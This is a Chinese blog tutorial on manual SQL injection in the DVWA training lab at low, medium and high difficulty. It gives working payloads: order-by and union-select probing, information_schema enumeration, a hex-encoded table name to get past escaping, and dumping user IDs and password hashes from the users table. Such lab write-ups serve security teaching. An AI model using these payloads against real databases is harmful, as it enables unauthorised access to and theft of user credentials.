（本文不定期更新）

一、所需环境：

1.DVWA

2.web环境 phpstudy/wamp

3.burp suite

二、SQL注入产生的原因：

　　程序员在编写代码的时候，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患

用户可以提交一段数据库查询代码，根据程序返回的结果，获得某些他想得知的数据或进行数据库操作。

三、关于SQL注入需要注意的几个点：

1.SQL注入的攻击流程：

　　（1）判断注入点：一般分为三大类 GET、POST参数触发SQL注入，Cookie触发注入

　　（2）判断注入类型：数字型、字符型、搜索型等

　　（3）判断数据库类型

　　（4）获取数据库数据，提权

　　　提供两个学习参考链接：传送门1  传送门2

四、下面演示DVWA的SQL injection模块（显注）：

　　1.low级别的SQL注入：

　　输入1，查询成功。

　　

　　输入 1 and 1=1 查询成功

　　

　　输入1 and 1=2 查询成功（说明不是数字型，因为1 and 1=2 在and右边1=2的值是false，如果是数字型，此时应该不会查到东西）

　　

　　下面验证是否是字符型注入，输入 1' and '1' = '1 查询成功

　　

　　输入1‘ and ’1‘ = ’2  没查到东西 说明是字符型注入

　　

　　

　　2.猜解SQL查询语句中的字段数/：

　　输入 1‘ order by 2# 查询成功，#用来注释掉参数后面的单引号

　　

　　输入 1‘ order by 3# 查询失败 说明只有两个字段，Firstname 和Surname

　　

　　3.确定显示的字段顺序，这里用union select 联合查询。

　　　输入 1‘ union select 1，2 #

　　

　　4.获取当前数据库，输入 1‘ union select 1，database（）# 其中database（）是获取当前连接的数据库的函数。

　　通常from后面都会有一个表名 比如 admin id user之类的union select 1,2 from 这里1，2说明只有两个字段 那么再继续这个语句从from后面的哪个表里面查然后返回页面就会返回1，2这几个数字中的其中几个在mysql中 有很多的注射能用到的函数 比如 user() database() version() 分别用来查看当前数据库连接的用户名，数据库名称 以及mysql的版本比如返回 1 那么你把1 替换成user() database() version() 的其中一个也就是 union select user（）, 2  这样就可以在页面上爆出 用户名 绝对路径之类的 函数名等。

　　

　　这里爆出当前连接的数据库为dvwa

　　5.获取数据库中所有的表：

　　输入：1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

　　

　　说明数据库中只有两个表，guestbook users

　　6.获取表中的字段名：

　　输入：1' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users' #

　　可以看到有好多个字段，而我们只需要几个就可以了，user_id，firstname，password

　　7.获得数据：

　　输入：1' union select group_concat(user_id,first_name),group_concat(password) from users #

　　

　　8.获取账户密码：

　　上面的surname中就是密码，因为都是经过加密需要网上解密一下，我们取Gordon这个用户密码进行验证。

　　

　　到此就拿到了用户名和密码。

　

2.中级：

　　源码：

　　

　　Medium级别的代码利用mysql_real_escape_string函数对特殊符号\x00,\n,\r,,’,”,\x1a进行转义，并且出现了下拉菜单使得用户无法控制输入的变量。所以解下来要做代理服务器设置并使用burp suite抓包工具（关于代理服务器设置可以看我前面关于暴力破解模块的文章，这里我就不再赘述并截图了）

　　这是我选择id=1时抓到的包

·　　

·1.首先判断注入类型（字符型、数字型、搜索型等）

　将语句修改为 id =1 and 1=1  将 修改的包 Forward

·

成功！ 说明是数字型注入。而如果是字符型输入的话会很麻烦 因为有PHP mysql_real_escape_string() 函数进行转义

　　

2.判断有几个字段

　　用order by 进行猜解  发现  输入 1 order by 2查询成功 1 order by 3 查询失败，说明依然只有两个字段（First name ， Surname）

　　

　　

3.确定显示字段的顺序，查询成功

　　抓包更改参数为 1 union select 1，2

　　

4.获取当前数据库名：

　抓包修改 1 union select 1,database()  查询成功，说明当前连接的数据库是dvwa

　　

5.获取当前数据库有哪些表

　　抓包修改 1 union select 1,group_concat(table_name) from information_schema.tables where table_schema = database() 查询成功

　　

只有两个表 guestbook 和 users

6.获取表中的字段名：

　　抓包修改为：1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'

　　因为使用了转义函数，所以这里要将 'users' 用16进制绕过：

　　抓包修改参数为：1 union select 1,group_concat(column_name) from information_schema.columns where table_name = 0x7573657273               成功！

　　

7.获取数据信息：我们只需要 user_id first_name last_name password 即可。这里如果是正常情况下应该是用 user 和 password 列，这两列获取出来的数据就是登录DVWA的账户和密码。

　　抓包修改参数：

　　

接下来将密码转义即可。

　　

3.高级（High）

　　观察源码：

　　只是在后面加了LIMIT 1 且 为字符型注入，那只需要在输入语句最后#注释掉 LIMIT 1即可，其余步骤基本与low级别一样。

　　还有不同呢就是在前端页面上，没有输入框了，变成了下图这样，点击会跳转页面，基本杜绝了自动化的SQL注入。但是源码中没有对参数进行防御，还是可以通过burp suite抓包，修改参数，获取数据库信息。

　　

　　

　　1.判断注入类型（因为分析源码，参数被单引号包裹，所以是字符型注入，这里不再赘述，直接验证一下）　　

　　分别修改参数为 1 and 1 = 2  , 1' and '1' = ‘1’ #  和 1' and '1' = ‘2’ #  用#注释掉后面的LIMIT 1

　　

　　

　　

　　

　　修改为‘1’=‘2‘时页面是没有正常回显的，说明应该是字符型注入 。

　　之后步骤基本与low级别一致 就不再演示了。

　　然后用到burp suite工具抓包也只是为了演示一下，但是如果已经知道了源码是哪个样子，可以直接在搜索框里输入，而不用去抓包修改那么麻烦了。

　　附最后结果

　　

参考文章 group_concat的使用 传送门

　　

　　

　　

　　

　　

　　最后修改于：2020.3.3.9:16

DVWA（三）：SQL injection 全等级SQL注入的更多相关文章

  1. DVWA（四）：Command Injection 全等级命令注入

    Command Injection : 命令注入(Command Injection),对一些函数的参数没有做好过滤而导致用户可以控制输入的参数,使其恶意执行系统命令或这cmd.bash指令的一种注入 ...

  2. （十二）DVWA全等级SQL Injection(Blind)盲注--SQLMap测试过程解析

    一.测试前分析 前文<DVWA全等级SQL Injection(Blind)盲注-手工测试过程解析> 通过手工测试的方式详细分析了SQL Injection(Blind)盲注漏洞的利用过程 ...

  3. （十一）DVWA全等级SQL Injection(Blind)盲注--手工测试过程解析

    一.DVWA-SQL Injection(Blind)测试分析 SQL盲注 VS 普通SQL注入: 普通SQL注入 SQL盲注 1.执行SQL注入攻击时,服务器会响应来自数据库服务器的错误信息,信息提 ...

  4. DVWA－全等级SQL注入（显注）

    前言: 首先是DVWA环境的搭建: 1.DVWA. 2．PHPSTUDY/WampServer,这里有一个坑,因为他是一体化的,PHP版本必须在5.4以上,否则显注不能打开.或者自己搭建LAMP环境. ...

  5. 【DVWA】【SQL Injection(Blind)】SQL盲注 Low Medium High Impossible

    1.初级篇 Low.php 加单引号提交 http://localhost/DVWA-master/vulnerabilities/sqli_blind/?id=1'&Submit=Submi ...

  6. DVWA全级别之SQL Injection（SQL注入）

    DVWA全级别之SQL Injection(注入)   DVWA简介 DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web ...

  7. DVWA SQL Injection 通关教程

    SQL Injection,即SQL注入,SQLi,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的.SQL注入漏洞的危害巨大,常常会导致整个数据库被“脱 ...

  8. 新手指南：DVWA-1.9全级别教程之SQL Injection

    *本文原创作者:lonehand,转载须注明来自FreeBuf.COM 目前,最新的DVWA已经更新到1.9版本(http://www.dvwa.co.uk/),而网上的教程大多停留在旧版本,且没有针 ...

  9. DVWA之SQL Injection

    SQL Injection SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的.SQL注入漏洞的危害是巨大的,常常 ...

随机推荐

  1. awk中printf的用法

    printf函数   打印输出时,可能需要指定字段间的空格数,从而把列排整齐.在print函数中使用制表符并不能保证得到想要的输出,因此,可以用printf函数来格式化特别的输出. printf函数返 ...

  2. XCTF Normal_RSA

    这题本来算是很常规的rsa了,下载附件 发现有个公钥文件,还有一个加密文件,这种题之前有遇到一次,做法和这个类似,上次那个是用rsa的库,直接解的,这次直接用常规的,好像更简单,记录下模板 记事本打开 ...

  3. docker之构建镜像

    构建Docker镜像有以下两种方法: 使用docker commit命令. 使用docker build命令和 Dockerfile 文件. 在这里并不推荐使用docker commit来构建镜像,而 ...

  4. Ubuntu20.4 bs4安装的正确姿势

    一.背景 公司一小伙子反馈在内网机器上通过代理,还是安装不了bs4:于是乎,作为菜鸡的我开始排查.一直认为是网络和代理问题,所以关注点一直放在网络和安装包上:在网上搜索到,主要是以下问题: 1)更新a ...

  5. C语言：赋值

    #include <stdio.h> //=赋值运算符 //具有方向性,只能将赋值号右边的表达式的值给左边的变量 //赋值语句具有计算功能,赋值号右边可以是常量,变量或表达式都可以 //赋 ...

  6. Python之手把手教你用JS逆向爬取网易云40万+评论并用stylecloud炫酷词云进行情感分析

    本文借鉴了@平胸小仙女的知乎回复 https://www.zhihu.com/question/36081767 写在前面: 文章有点长,操作有点复杂,需要代码的直接去文末即可.想要学习的需要有点耐心 ...

  7. Intellij idea 设置关闭自动更新

    目录结构: File -> Settings- -> Appearance & Behavior -> System Settings -> Updates 把Auto ...

  8. kubespray-2.14.2安装kubernetes-1.18.10(ubuntu-20.04.1)

    欢迎访问我的GitHub https://github.com/zq2599/blog_demos 内容:所有原创文章分类汇总及配套源码,涉及Java.Docker.Kubernetes.DevOPS ...

  9. maven添加阿里云镜像

    apache的maven服务器国内访问太慢了,用阿里的镜像会好很多. 1.maven的配置文件有两个,安装目录conf文件夹下settings.xml和用户目录.m2文件夹下的settings.xml ...

  10. 【连载】微服务网格Istio（一）

    Istio基础 服务网格是用于描述构成应用程序的微服务网络以及应用之间的交互,服务网格的功能包括服务发现.负载均衡.故障恢复.指标和监控以及更加复杂的运维工作,例如A/B测试.金丝雀发布.限流.访问控 ...